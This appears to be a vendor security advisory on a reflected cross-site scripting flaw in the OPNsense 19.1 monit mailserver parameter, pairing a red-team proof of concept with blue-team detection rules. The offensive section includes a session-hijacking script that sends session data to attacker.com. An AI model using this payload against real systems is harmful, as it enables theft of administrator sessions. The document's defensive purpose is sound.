CVE-2019-25375

Executive Summary

CVE-2019-25375 is a reflected cross-site scripting (XSS) vulnerability in OPNsense 19.1, specifically within the monit interface. An unauthenticated attacker can inject arbitrary JavaScript into the mailserver parameter via a crafted POST request. When a user (typically an administrator) visits the malicious link or submits the crafted form, the script executes in their browser context, potentially leading to session hijacking, credential theft, or further compromise of the OPNsense firewall.

This vulnerability is classified as a reflected XSS (CWE-79) with a CVSS v3.1 base score of 6.1 (Medium). The attack vector is network-based, requires user interaction, and changes the scope due to the browser context. No authentication is required for the attacker to deliver the payload, but the victim must be authenticated to the OPNsense web interface for the attack to be fully effective.

Supply Chain & Package Security

OPNsense is a FreeBSD-based firewall distribution. This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a core web interface issue. The monit interface is a built-in component for monitoring services.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed to deliver payload.
• User Interaction (UI): Required (R) – Victim must click a link or submit a form.
• Scope (S): Changed (C) – Impact is in the browser context, not the server.
• Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
• Integrity (I): Low (L) – Limited ability to modify data in the browser.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The vulnerability requires user interaction, but the lack of authentication for payload delivery and the potential for session hijacking make it a realistic threat in targeted attacks against OPNsense administrators.

Deep Dive & Mechanics

The vulnerability resides in the monit interface of OPNsense 19.1. The mailserver parameter is used to configure email alerts for monitoring services. The application fails to properly sanitize or encode user input before reflecting it in the HTML response.

Attack Flow:

1. An attacker crafts a malicious URL or POST form containing JavaScript in the mailserver parameter.
2. The attacker lures an authenticated OPNsense administrator to visit the URL or submit the form (e.g., via phishing email or a compromised website).
3. The OPNsense server reflects the malicious input in the response without proper encoding.
4. The victim's browser executes the injected JavaScript.
5. The script can steal session cookies, perform actions on behalf of the admin, or redirect to a phishing page.

Root Cause: Lack of output encoding for the mailserver parameter in the monit interface's response. The application likely uses echo or similar functions without HTML entity encoding.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual PHP):

<?php
$mailserver = $_POST['mailserver'];
echo "<input type='text' name='mailserver' value='$mailserver'>";
?>

Patched Code (Conceptual PHP):

<?php
$mailserver = htmlspecialchars($_POST['mailserver'], ENT_QUOTES, 'UTF-8');
echo "<input type='text' name='mailserver' value='$mailserver'>";
?>

The patched version uses htmlspecialchars() to encode special characters like <, >, ", and ', preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Proof of Concept (PoC):

<form action="https://target.opnsense/monit" method="POST">
  <input type="hidden" name="mailserver" value="test@example.com<script>alert('XSS')</script>">
  <input type="submit" value="Submit">
</form>

Exploit URL (Reflected):

https://target.opnsense/monit?mailserver=test@example.com%3Cscript%3Ealert('XSS')%3C/script%3E

Advanced Payload (Session Hijacking):

<script>
fetch('/api/core/session').then(r => r.text()).then(t => fetch('https://attacker.com/steal?data=' + btoa(t)));
</script>

Lab Setup:

1. Install OPNsense 19.1 in a virtual machine.
2. Access the web interface and log in as admin.
3. Use Burp Suite or a browser to send a POST request to /monit with the mailserver parameter containing a JavaScript payload.
4. Observe the script execution in the browser.

Blue Team (Defensive)

Detection:

• Monitor HTTP POST requests to /monit with suspicious mailserver parameters containing <script> or onerror attributes.
• Look for anomalous outbound connections from the OPNsense web interface to unknown IPs.

Mitigation:

• Upgrade to OPNsense 19.1.1 or later (if patch exists).
• Implement a Web Application Firewall (WAF) rule to block XSS patterns in the mailserver parameter.
• Enforce Content Security Policy (CSP) headers to restrict script execution.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /monit with mailserver containing <script>, onerror, onload, or javascript:.
  • Outbound HTTP requests to attacker-controlled domains from the OPNsense server.
• File System:
  • Modified /usr/local/opnsense/www/monit files (if attacker gains write access).
• Logs:
  • Web server logs showing mailserver parameter with encoded JavaScript (e.g., %3Cscript%3E).

Detection Engineering

YARA Rule

rule CVE_2019_25375_XSS_Mailserver {
    meta:
        description = "Detects reflected XSS attempts against OPNsense monit mailserver parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2019-25375"
    strings:
        $xss1 = /mailserver=[^&]*<script/i
        $xss2 = /mailserver=[^&]*onerror/i
        $xss3 = /mailserver=[^&]*onload/i
        $xss4 = /mailserver=[^&]*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: OPNsense Monit XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts against OPNsense monit mailserver parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'mailserver='
        cs-uri-query|re: '(mailserver=[^&]*<script|mailserver=[^&]*onerror|mailserver=[^&]*onload|mailserver=[^&]*javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of email addresses containing special characters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2019-25375 OPNsense Monit XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/monit"; http_uri; content:"mailserver="; http_client_body; pcre:"/mailserver=[^&]*(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade OPNsense to a patched version (19.1.1 or later). If unavailable, apply a WAF rule to block XSS patterns.
2. Short-term: Restrict access to the monit interface to trusted IPs only.
3. Long-term: Implement input validation and output encoding for all user-supplied parameters. Use a Content Security Policy (CSP) to mitigate XSS impact.
4. Monitoring: Enable logging for all POST requests to /monit and review for anomalies.

Valters IT
Securing Digital Frontiers